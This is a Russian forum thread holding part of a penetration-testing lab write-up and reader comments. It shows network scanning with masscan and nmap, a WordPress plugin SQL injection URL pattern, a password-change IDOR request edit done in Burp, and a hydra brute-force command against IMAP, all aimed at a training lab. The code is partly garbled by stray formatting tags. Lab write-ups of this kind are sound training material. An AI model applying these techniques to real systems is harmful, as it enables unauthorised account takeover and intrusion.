Давайте подытожим, мы нашли уже 5 токенов, у нас осталось еще 12 заданий и это 30% общего прохождения:

Users, Repository, SIEM, Site, My, API, User API, Image, DB, admin, Reverse

https://forum.antichat.xyz/attachmen...9d4fbb9a87.png

В данном VPN есть еще один маршрут 192.168.0.0/24 и по моему предположению это техническая сетка. Т.к. о ней ни слова и не упоминали в почте, а также смело предположим, что Свиридов как то связан с админами.

За почти неделю, обитая в данной лабораторной, теперь

Код:

---

http://my.test.lab

---

стал доступен.

https://forum.antichat.xyz/attachmen...ead0695344.png

Так же мы видим новые хосты и будем их проверять.

Но для начала составим карту, ведь привычка дело страшное.

Bash:

Код:

---

atp intsall masscan -y
>
masin.txt
nano
masin.txt
192.168
.101.0/24
172.16
.1.0/24
172.16
.2.0/24
192.168
.0.0/24
masscan -p
80,21
,22,22,53,139,143,389,445,1194,1515,8000,8080,3128 -iL masin.txt --rate
=
300
-oL masout.txt

---

чистим вывод от мусора

Bash:

Код:

---

awk
'{ print $4 }'
masout.txt
>
nmapin.txt

---

Скормим nmap

Bash:

Код:

---

nmap -p
80,21
,22,53,139,143,389,445,1194,1515,8000,8080,3128 --script
"http-title"
,
"ftp-anon"
,
"SSH"
,
"DNS"
,
"NB"
,
"Imap"
,
"LDAP"
,
"SMB"
,
"VPN"
,
"Contr"
,
"http000"
,
"http-mirror"
,
"Proxy"
-iL nmapin.txt -oN output.txt

---

Спарсим в красивый HTML

Bash:

Код:

---

nparse.py:
import
subprocess
import
inspect
import
sys, os, codecs, re
import
webbrowser
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
dic
=
{
"\\xD0\\xB0"
:
"а"
,
"\\xD0\\x90"
:
"А"
,
"\\xD0\\xB1"
:
"б"
,
"\\xD0\\x91"
:
"Б"
,
"\\xD0\\xB2"
:
"в"
,
"\\xD0\\x92"
:
"В"
,
"\\xD0\\xB3"
:
"г"
,
"\\xD0\\x93"
:
"Г"
,
"\\xD0\\xB4"
:
"д"
,
"\\xD0\\x94"
:
"Д"
,
"\\xD0\\xB5"
:
"е"
,
"\\xD0\\x95"
:
"Е"
,
"\\xD1\\x91"
:
"ё"
,
"\\xD0\\x81"
:
"Ё"
,
"\\xD0\\xB6"
:
"ж"
,
"\\xD0\\x96"
:
"Ж"
,
"\\xD0\\xB7"
:
"з"
,
"\\xD0\\x97"
:
"З"
,
"\\xD0\\xB8"
:
"и"
,
"\\xD0\\x98"
:
"И"
,
"\\xD0\\xB9"
:
"й"
,
"\\xD0\\x99"
:
"Й"
,
"\\xD0\\xBA"
:
"к"
,
"\\xD0\\x9A"
:
"К"
,
"\\xD0\\xBB"
:
"л"
,
"\\xD0\\x9B"
:
"Л"
,
"\\xD0\\xBC"
:
"м"
,
"\\xD0\\x9C"
:
"М"
,
"\\xD0\\xBD"
:
"н"
,
"\\xD0\\x9D"
:
"Н"
,
"\\xD0\\xBE"
:
"о"
,
"\\xD0\\x9E"
:
"О"
,
"\\xD0\\xBF"
:
"п"
,
"\\xD0\\x9F"
:
"П"
,
"\\xD1\\x80"
:
"р"
,
"\\xD0\\xA0"
:
"Р"
,
"\\xD1\\x81"
:
"с"
,
"\\xD0\\xA1"
:
"С"
,
"\\xD1\\x82"
:
"т"
,
"\\xD0\\xA2"
:
"Т"
,
"\\xD1\\x83"
:
"у"
,
"\\xD0\\xA3"
:
"У"
,
"\\xD1\\x84"
:
"ф"
,
"\\xD0\\xA4"
:
"Ф"
,
"\\xD1\\x85"
:
"х"
,
"\\xD0\\xA5"
:
"Х"
,
"\\xD1\\x86"
:
"ц"
,
"\\xD0\\xA6"
:
"Ц"
,
"\\xD1\\x87"
:
"ч"
,
"\\xD0\\xA7"
:
"Ч"
,
"\\xD1\\x88"
:
"ш"
,
"\\xD0\\xA8"
:
"Ш"
,
"\\xD1\\x89"
:
"щ"
,
"\\xD0\\xA9"
:
"Щ"
,
"\\xD1\\x8A"
:
"ъ"
,
"\\xD0\\xAA"
:
"Ъ"
,
"\\xD1\\x8B"
:
"ы"
,
"\\xD0\\xAB"
:
"Ы"
,
"\\xD1\\x8C"
:
"ь"
,
"\\xD0\\xAC"
:
"Ь"
,
"\\xD1\\x8D"
:
"э"
,
"\\xD0\\xAD"
:
"Э"
,
"\\xD1\\x8E"
:
"ю"
,
"\\xD0\\xAE"
:
"Ю"
,
"\\xD1\\x8F"
:
"я"
,
"\\xD0\\xAF"
:
"Я"
,
}
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
f
=
open
(
'output.txt'
,
'r'
)
f2
=
open
(
'output.html'
,
'w'
)
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
f2.write
(
'Scan results'
)
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
for
x
in
f:
if
(
'Nmap scan report for'
in
x
)
:
hosts
=
re.search
(
'(\d+\.\d+\.\d+\.\d+)'
, x
)
host
=
hosts.group
(
1
)
.strip
(
)
if
(
'Anonymous FTP login allowed'
in
x
)
:
f2.write
(
'ftp://'
+host+
''
)
if
(
'http-title:'
in
x
)
:
x
=
x.replace
(
'|_http-title:'
,
''
)
x
=
x.replace
(
'| http-title: '
,
''
)
w
=
x.strip
(
)
for
k
in
dic:
if
(
k
in
w
)
:
w
=
w.replace
(
k, dic
[
k
]
)
f2.write
(
''
+w+
''
)
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
f2.write
(
''
)
f2.close
(
)
f.close
(
)
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
webbrowser.open
(
'output.html'
)

---

Ну и смотрим output.html

В целом мы имеем следующую картину:

https://forum.antichat.xyz/attachmen...adeb6d6b96.png

Так же составляем привычную для нас сетевую карту, не без помощи друзей:

https://forum.antichat.xyz/attachmen...08f005377d.png

________________________________________

Когда мы получили в VPN попробуем вернуться снова к сайту site.test.lab

Bash:

Код:

---

root@Ac0st:/home/clevergod wpscan --url http://site.test.lab --enumerate p --random-user-agent
________________________________________
\
\
/
\
/ /
|
|
__
)
|
(
___ ___ __ _ _ __ ®
\
\
/
\
/ /
|
___/
\
___
\
/ __
|
/ _`
|
'_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

---

Выявлено, что организаторы решили немного усложнить после завершения всех задач победителем лабы CSV.

Они обновили уязвимый плагин с версии 1.1.7 до 1.5.7.8 или wpscan нас дико обманул.

WordPress Survey And Poll 1.5.7.3 SQL Injection ≈ Packet Storm

Код:

---

http://site.test.lab/wp-admin/admin.php?page=wysija_campaigns&orderby=[SQL]

---

Уязвимости есть, но по-прежнему эксплуатация приводит к бану веб-фаерволом. Ищем дальше.

Так же, хочу отметить тот факт, что при подключении к другому хосту по VPN через Свиридова часть прошлой сетки теряется и мы больше не сможем обратиться к некоторым хостам. Я добавляю эту уточнение, которое мне лично сэкономила бы кучу времени, если я знал это ранее.

Идем дальше смотримпродолжение во второй части. С радостью разместил бы все в одной, но ввиду того, что постарался сделать врайтап достаточно подробным получилось слишком много материала...

Взято сhttps://securixy.kz

От души.

Это мое личное прохождение Лабы, во многих местах Вы можете столкнуться с трудностями, недопониманиями и различиями статьи и текущего положения дел. Дело в том, что все публичные лаборатории - это адский труд организаторов, чтобы при выпуске вратапов не допускать легкого прохождения. Вектора меняются, безопасность накручивается синтетически. То, о чем Вы выразили свое непонимание - изучайте мат. часть, на данном форуме есть сторожилы, которые могу Вас навести на курсы или материал, который в последствии позволит Вам понимать предмет намного проще и без вопросов. Сам таким был давно давно, но не было таких форумов и материалов было не достать через дайлап модемы в 64К скоростью и приходилось познавать толмуты в книжных изданиях...

Так, чтобы еще сильнее облегчить Вам поиски информации по неясным для Вас вещей - _token на данном ресурсе это обязательная составляющая для защиты от брутфорса и она как и cookie будет меняться всегда при обновлении страницы дабы затруднить прохождение и заставить мозг включиться немного, а не проходить по бумажке. Я делюсь своим прохождением, ввиду того, что вариаций нахождения векторов и вариаций эксплуатации множество и я постарался сделать материал сугубо простым, для того, чтобы новички понимать как находились векторы, по каким признакам, как пытались найти вектор, реализовать его, найти зацепку и осуществить социальную инженерию для решения ступорных ситуаций. Большой плюс, что весь софт указан, нужно только просто попробовать его использовать, понять для чего он, какой тип запросов еще можно сделать. Многие новички говорят - у меня нет линукса, я его не знаю, кали это сложно. Да не вопрос - есть винда, есть баш на 10-ке. Все эти составляющие при достаточной смекалке и знаниях помогут Вам вырасти над собой, просто не ленитесь черпать информацию и разбирайте каждое слово написанное в статье. Многое Вам будет неясно, но при достижении определенных навыков - Вы будете смеяться над собой в прошлом... Распинаюсь только по причине того, чтобы все новички прекратили попытки спросить не разобравшись в предмете и чтобы дать пищу для развития.

Добрый день. Если Вы добавили в /etc/hosts и при обращению к ресурсу имеются проблемы, будьте добры проверьте доступность хоста и удостоверьтесь, что он резолвиться теперь у Вас, пересканьте пожалуйста открытые порты и затем уже ставьте много вопросительных знаков.
Прошу учесть тот факт, что организаторы до сих пор не закрыли лабу и в реальном времени производят изменения ИС для того, чтобы у всех проходящих были равные права. Сейчас открыт только 22 порт на данном ресурсе. Возможно из-за врайтапа они уже скорректировали векторы или усложнили прохождение. Не маловажен факт проблем с доступностью.

В другом окне терминала

просто откройте еще одно терминала и впишите как вы подключались к первой сети, только изменив конфиг, у вас получится два подключения, в одном окне одно, в другом окне другое
openvpn vpn.conf

@clevergod есть ответ ?

Open second terminal and launch the vpn.conf. You will have two terminal with different vpn.conf

Гугл с Яндексом работают же пока что...

https://forum.antichat.xyz/attachmen...28adb3f666.png

Кому необходим тунель-в-тунеле необходимо для каждого дополнительного соединения добавлять TAP-интерфейсы (TUN/TAP):
На Windows

Bash:


!Запускать в командной cmd строке или powershell с правами администратора.
На Linux:
Просто открыть еще один терминал (Open terminal) и запустить подключение.

Bash:


или ssh -i yourkey.key (но в данном случае Вы должны понимать, что ключ нужно перелопатить)

Вот честное слово, если у Вас проблемы с данной лабой на данном уровне, простите, но Вам нужно с азов начать... Если не работали с Kali - включите Windows 10,поставьте туда терминал (bash) и будет намного проще. На винде помимо OpenVPN есть еще SecurePoint SSL VPN и уйма других.

https://forum.antichat.xyz/attachmen...47f0031a6e.png

Не удалось подключиться из сокета к локальному адресу [AF_INET] [undef]: 1194: адрес уже используется (errno = 98)

Hi @BigSergio
Just connect to another VPN with ones more terminal session or use init 6 for your solutions
here's proof:

Доброго времени суток
не могу штурмануть helpdesk, не меняется пароль sviridov'a что бы не делал
даже не знаю в чем ошибка, помогите пожалуйста
(если возможно - пошагово, у меня 0 идей )

Код:

Чувак, там Бонус есть, скрипт на питоне который сделает все за тебя... Если ты уперся в свои знания и навыки, то лучше прокачать их, чтобы идти дальше. Чтобы прокачать их, можешь воспользоваться обучением на данном форуме и ребята выведут тебя в топы! Я постарался подать весь доступный инструментарий для того, чтобы даже те, кто понятия не имеют что тут происходит прошли дальше...

заблудился по поводу словаря)

Screenshot

Captured with Lightshot

prnt.sc


но btw словарь я и сам могу намутить)
ну по поводу обучения - два пути:

1. сообразить самому(что и хотел сделать сначала)
   
2. посмотреть как сделали другие и разобраться

PS по поводу обучения спасибо, пошарю инфы

Открой бурп, открой страницу смены пароля после авторизации под юзером первым, в пост запросе это pssword=123&id=MTQ1Cg%3D%3D&submit=Change меняешь на это password=123&confpassword=123&id=NDQwCg%3D%3D&subm it=Change остальной запрос оставляешь прежним жмякаешь и потом заходишь под свиридовым под паролем.

Если тебе этот вектор непонятен иди дальше, все раскрыто, бери да делай.

А что в команде гидры делает порт 8080? Имап же на 143?
"hydra -l info@test.lab -P rockyou.txt imap://192.168.101.12:8080/PLAIN"

А это тест на внимательность, читает ли кто статью или тупо вбивает команды. Так держать!

Что-то у меня на этапе брута восстановления пароля Burp после 250-го трая стал 302 на все запросы сыпать.
Файлик со своим скриптом на питоне сгенерил, вроде верно,

P.S. а когда у тебя еще и не PRO версия..)))

хотел КУРЛом сделать
действительно дело было в id сессии. Получилось в итоге
Но пока прервался, решил курсы ваши пройти

Подскажите пожалуйста вот по этому пункту

https://forum.antichat.xyz/attachmen...7281469840.png

Далее находим с помощью чего? Burp ? Не могу понять, где эту инф увидеть и как....
Тыкаю - ковыряю бурп, но чет не могу нигде этого найти...
Спс.

Вот это вопрос. В коде исходном посмотри, бурпом при запросе основной страницы. Ну не могу я такое помнить. Там все было на поверхности.

совсем не понимаю DNS token. зачем он нужен? что от меня требуется? что это дает? как это загуглить? -_-
не хочу делать все под копирку... хочу разобраться, подскажите в каком направлении копать? подскажите ЛИТЕРАТУРУ в конце концов

Пассивный фаззинг и фингерпринт

Premium - Сбор данных о сайте и его скрытой информации. Методы и способы.

Существуют 2 типа сбора информации: пассивный и активный.

codeby.net


Пассивный фаззинг или сбор информации из открытых источников. Урок 2

Достаем информацию для аудита из открытых источников. Обзор инструментов и техник для тихой разведки.

codeby.net


Тихая разведка. Изучаем инструменты и техники пассивного сбора информации

Успешность тестов на проникновение многом зависит от качества составления профиля жертвы. Какими сервисами и софтом она пользуется? На каких портах и протоколах у нее есть открытые подключения? C кем и как она общается? Большую часть такой информации можно получить из открытых источников. Давай...

xakep.ru

Оч. любопытно слышать такое от человека у которого изображение цикады, где как раз таки требуется пассивный фаззинг и много енумерейта с форензикой и стеганографией.
Поясняю, данный флаг был оставлен организаторами, наверное чтобы отследить действительно ли пользователи лаборатории делают все по шагам или есть ли сливы флагов.
А теперь по порядку, данный флаг помогает собрать первичную информацию, которую собирает каждый ну или практически каждый аудитор информационной безопасности при аудитах локальной сети или черного ящика. На данном этапе мы получаем днс имена других хостов и как раз таки после этого этапа пассивной разведки наступает этап, когда мы уже можем переходить к более целевым енумерейтам и активным фазам собранных хостов или доменных имен. Эдакая основа основ разведки сети. Любой админ домена должен знать эти инструменты, любой держатель веб сервисов должен знать эти инструменты (nslookup, dig, nsreecon, dnsdumpster и др.). Спросите почему, вот Вам ответ, к примеру, в сети возникли некие коллизии или проблемы которые не дают пользователю открыть сервис к примеру из гос. зоны gov.kz - Вы сначала делаете nslookup до проблемного сервиса (можно и ping -a и tracert) а затем проверяете записи NS сервера зоны, чтобы понять присвоен ли к доменному имени IP-адрес

https://forum.antichat.xyz/attachmen...03215bb8ce.png

Так вот этот этап разведки чрезмерно важен и именно так мы узнали все дальнейшие шаги которые делали в лабараторке, а именно нашли хосты и IP адреса

Код:


Следующим этапом Вам необходимо убедиться, что NS сервер действительно рабочий и запрашиваете его отрезолвить к примеру ya.ru и затем если он не ответил - проверяете через гугл днс или другой...

https://forum.antichat.xyz/attachmen...dbb98665a8.png

Это ответ не только к Вам, но и к юным ребятам которым пишут мне в личку, умудряются находить делая социальную инженерию, а просто вбить в гугл или найти на данном форуме что такое DNS сервер и что он дает - видимо не судьба.
Я распинался расписывая эту лабараторку с указанием мимнимально необходимого софта, которым и пользовался для решения тех или иных задач. Просто не ленитесь, немножко поработайте смекалкой и простым поиском, именно так постигаются вершины неизвестного для Вас на текущий момент. И сейчас распинаюсь именно потому, что Вы хотите понять и докопаться до истины...
sinner67 дал выше ссылки, пройдите по ним, особенно первая.

ничего нового, не узнал из этих источников.
кстати ни один инструмент не отработал (которые описаны в лабе).
поставленную задачу выполнила утилита rpcclient:

Код:


PS это для тех, кто вдруг столкнется с такой проблемой, чтобы не писали в личку всяким опытным дядям.....у них же слова на лимите!

Пусть это и немного оффтоп , но кто-нибудь задумывался, что само название pentestit ( "пентестит" ) звучит, как болезнь?

И все таки, попробуй больше завлечь себя Hack-The-Box , там возможности пошире будут..